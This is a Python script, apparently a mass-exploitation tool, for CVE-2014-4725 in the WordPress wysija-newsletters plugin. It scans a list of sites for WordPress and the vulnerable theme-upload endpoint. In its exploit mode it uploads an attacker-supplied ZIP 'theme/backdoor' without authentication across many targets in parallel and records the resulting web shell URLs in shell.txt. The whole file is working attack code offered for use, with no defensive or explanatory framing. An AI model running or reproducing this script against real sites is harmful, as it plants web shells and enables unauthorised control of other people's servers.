import requests import argparse import os from concurrent.futures import ThreadPoolExecutor from pwdnx import printmodule headers = { 'user-agent': 'mozilla/5.0 (x11; ubuntu; linux i686; rv:28.0) gecko/20100101 firefox/28.0' } check_id = "cve-2014-4725" component = "wysija-newsletters" cms = "wordpress" max_threads = 15 YELLOW = "\033[93m" GRAY = "\033[90m" RESET = "\033[0m" def is_wordpress(site): try: r = requests.get(f"http://{site}", headers=headers, timeout=8) if "wp-content" in r.text.lower() or "wordpress" in r.text.lower(): return True return False except: return False def is_vulnerable(site): try: url = f"http://{site}/wp-admin/admin-post.php?page=wysija_campaigns&action=themes" r = requests.get(url, headers=headers, timeout=10) if "themeupload" in r.text.lower(): return True return False except: return False def exploit(site, payload_zip): try: files = {'my-theme': open(payload_zip, 'rb')} data = { 'action': "themeupload", 'submitter': "upload", 'overwriteexistingtheme': "on", 'page': 'gzneflozab' } url = f"http://{site}/wp-admin/admin-post.php?page=wysija_campaigns&action=themes" r = requests.post(url, files=files, data=data, headers=headers, timeout=10) if 'reload=1' in r.text: shell_url = f"http://{site}/wp-content/uploads/wysija/themes/rock/vuln.php" with open("shell.txt", "a") as out: out.write(shell_url + "\n") return printmodule.returnyes(site, check_id, component, cms) else: return printmodule.returnno(site, check_id, component, cms) except: return printmodule.returnno(site, check_id, component, cms) def scan_mode(target_file): if not os.path.exists(target_file): print(f"[!] file {target_file} not found.") return with open(target_file, 'r') as f: targets = [line.strip() for line in f if line.strip()] print(f"[*] starting scan for {len(targets)} target") vuln_sites = [] def scan_single(site): if not is_wordpress(site): print(f"{site} {GRAY}[not wordpress]{RESET}") return if is_vulnerable(site): vuln_sites.append(site) print(f"{site} {YELLOW}[vuln]{RESET}") else: print(f"{site} {GRAY}[not vulnerable]{RESET}") with ThreadPoolExecutor(max_workers=max_threads) as executor: executor.map(scan_single, targets) with open("vuln.txt", "w") as vf: for v in vuln_sites: vf.write(v + "\n") print(f"[*] scan finished. results saved to vuln.txt") def exploit_mode(target_file, payload_zip): if not os.path.exists(target_file): print(f"[!] file {target_file} not found.") return if not os.path.exists(payload_zip): print(f"[!] payload file {payload_zip} not found.") return with open(target_file, 'r') as f: targets = [line.strip() for line in f if line.strip()] print(f"[*] starting exploit for {len(targets)} targets") with ThreadPoolExecutor(max_workers=max_threads) as executor: executor.map(lambda site: exploit(site, payload_zip), targets) if __name__ == "__main__": parser = argparse.ArgumentParser(description="cve-2014-4725") parser.add_argument("--scan", help="scan targets from file, save results to vuln.txt") parser.add_argument("--exploit", help="exploit vulnerable targets from file, save shell to shell.txt (requires --payload)") parser.add_argument("--payload", help="ZIP theme/backdoor to upload") args = parser.parse_args() if args.scan: scan_mode(args.scan) elif args.exploit: payload_path = args.payload if args.payload else "file/ZIP.zip" exploit_mode(args.exploit, payload_path) else: parser.print_help()